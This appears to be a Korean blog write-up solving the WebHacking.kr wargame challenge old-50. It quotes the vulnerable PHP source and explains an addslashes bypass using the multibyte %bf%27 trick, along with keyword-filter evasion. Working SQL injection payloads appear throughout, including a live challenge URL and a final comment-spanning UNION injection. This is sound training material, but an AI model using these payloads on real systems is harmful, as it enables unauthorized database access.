Search

WebHacking.kr Challenge old-50

목표 : SQLi Addslashes 우회 %bf, 주석 우회
SQL INJECTION 이라는 타이틀과 함께 게스트 id, pw 가 제공된다. 그대로 제출하면 레벨 1이 주어진다.
잘못된 값을 입력하면 Wrong, 그리고 살펴보니 GET 인자로 두 값이 전달된다.
<?php include "../../config.php"; if($_GET['view_source']) view_source(); ?><html> <head> <title>Challenge 50</title> </head> <body> <h1>SQL INJECTION</h1> <form method=get> id : <input name=id value='guest'><br> pw : <input name=pw value='guest'><br> <input type=submit>&nbsp;&nbsp;&nbsp;<input type=reset> </form> <?php if($_GET['id'] && $_GET['pw']){ $db = dbconnect(); $_GET['id'] = addslashes($_GET['id']); $_GET['pw'] = addslashes($_GET['pw']); $_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr'); foreach($_GET as $ck) if(preg_match("/from|pw|\(|\)| |%|=|>|</i",$ck)) exit(); if(preg_match("/union/i",$_GET['id'])) exit(); $result = mysqli_fetch_array(mysqli_query($db,"select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')")); if($result){ if($result['lv']==1) echo("level : 1<br><br>"); if($result['lv']==2) echo("level : 2<br><br>"); } if($result['lv']=="3") solve(50); if(!$result) echo("Wrong"); } ?> <hr><a href=./?view_source=1>view-source</a> </body> </html>
PHP
복사
id, pw 에 특수문자들에 역슬래시를 추가하는데 평소에 보지 않던 함수가 추가돼있다.
euc-krutf-8 로 변환을 해주는 mb_convert_encoding 함수가 id에 있다.
EUC-KR은 한글을 2byte(16bit)로 변환하는 방법이다. = b0a1 , = b1b2
UTF-8은 유니코드 범위에 따라 1~4byte로 인코딩하는 가변 크기 인코딩 방식이다.
이와 관련해 addslashes를 우회하는 방법이 있다. (멀티바이트 환경에서만 가능하다)
addslashes는 입력스트링 중에 quote(') 가 있다면 앞에 \를 붙여줌으로써, " \' " 로 변환한다.
멀티바이트로 보내는 방식을 응용하면 된다. (%27 = ' %5C = \)
%bf%27로 보내면 이걸 %bf%5C%27가 되는데 뒤 %27과 묶이는게 아니라 %bf와 묶여 %bf%5C가 된다.
(%bf%5c%27 -> 깨진문자/' )
이제 다시 코드를 상세히 보자.
foreach($_GET as $ck) if(preg_match("/from|pw|\(|\)| |%|=|>|</i",$ck)) exit(); if(preg_match("/union/i",$_GET['id'])) exit(); $result = mysqli_fetch_array(mysqli_query($db,"select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')")); if($result){
PHP
복사
from pw ( ) 공백 % = > < union
필터링 리스트다.
다음과 같이 온라인 컴파일러를 활용하면 필터링 여부를 쉽게 판단할 수 있다.
<?php function mb_convert_encoding($string, $to_encoding, $from_encoding) { if(function_exists('iconv')) { return iconv($from_encoding, $to_encoding, $string); } else { $map = array( 'UTF-8' => array('ASCII', 'ISO-8859-1', 'EUC-JP', 'SJIS', 'UTF-16', 'EUC-KR'), 'ISO-8859-1' => array('ASCII', 'UTF-8', 'EUC-JP', 'SJIS', 'UTF-16', 'EUC-KR'), // add more mappings as needed ); if(isset($map[$from_encoding]) && in_array($to_encoding, $map[$from_encoding])) { return mb_convert_encoding($string, $to_encoding, $from_encoding); } else { return $string; } } } echo "Hello, World!\n"; $ID = "guest"; $PW = "guest"; $ID = addslashes($ID); $PW = addslashes($PW); $ID = mb_convert_encoding($ID,'utf-8','euc-kr'); if(preg_match("/from|pw|\(|\)| |%|=|>|</i",$ID)) echo "filtered!"; if(preg_match("/union/i",$ID)) echo "filtered 2!"; echo "\n\nEND!!"; ?>
SQL
복사
select lv from chall50 where id='id' and pw = md5('pw')
SQL
복사
’를 입력할 수 있으므로 다음과 같이 표현이 가능하다.
where id='' or lv like '3' # and pw = md5(’pw’)
SQL
복사
일단 lv 1 값이 있는걸 우리는 알고있으므로 공백+ %09 %0a 등으로 변환하고 ' 앞에 %bf를 붙여 시도한다.
if($result){ if($result['lv']==1) echo("level : 1<br><br>"); if($result['lv']==2) echo("level : 2<br><br>"); }
SQL
복사
if($result['lv']=="3") solve(50); if(!$result) echo("Wrong");
SQL
복사
값이 나오지 않고 Wrong으로 틀린 값으로 빠진다. 필터링이 된건 아니고 어딘가 오류가 있는거다.
https://webhacking.kr/challenge/web-25/?id=%bf%27/**/or/**/lv/**/like/**/2%23&pw=guest
SQL
복사
다시 확인해보니 lv에 들어간 값은 숫자로 ‘1’ 이 아닌 1로 표현하면 되는거였다.
#도 그냥 쓰면 &pw=guest 도 주석처리되서 pw 값이 없게돼 코드 진입이 되지 않는다. 꼭 %23으로 표현해야 한다.
레벨 2까지는 정상적으로 나오던 코드가 3에서는 나오지 않는다.
쉽게 주지 않는다. 3에는 값이 없다는 얘기다.
처음부터 이 방법으로 진행했으면 바로 해결됐다.
결국 union 기능을 사용해야한다는건데. id에는 Union 문자열을 필터링하고 있고 pw는 md5로 암호화되고 있다.
if(preg_match("/union/i",$_GET['id'])) exit(); select lv from chall50 where id='id' and pw = md5('pw')
SQL
복사
주석을 이용해 pw의 md5을 없애면 pw에 union을 넣을 수 있다.
select lv chall50 where id=''/*' and pw = md5('*/union select 3#
SQL
복사

✓ 다른 [워게임] 포스트

WebHacking.kr Challenge Write-Up (70/80)
In progress
WebHacking.kr Challenge Write-Up (70/80)
In progress
Load more
︎ 더 많은 게시물을 보려면
︎ 작성자가 궁금하면?
 2023. absolroot all rights reserved.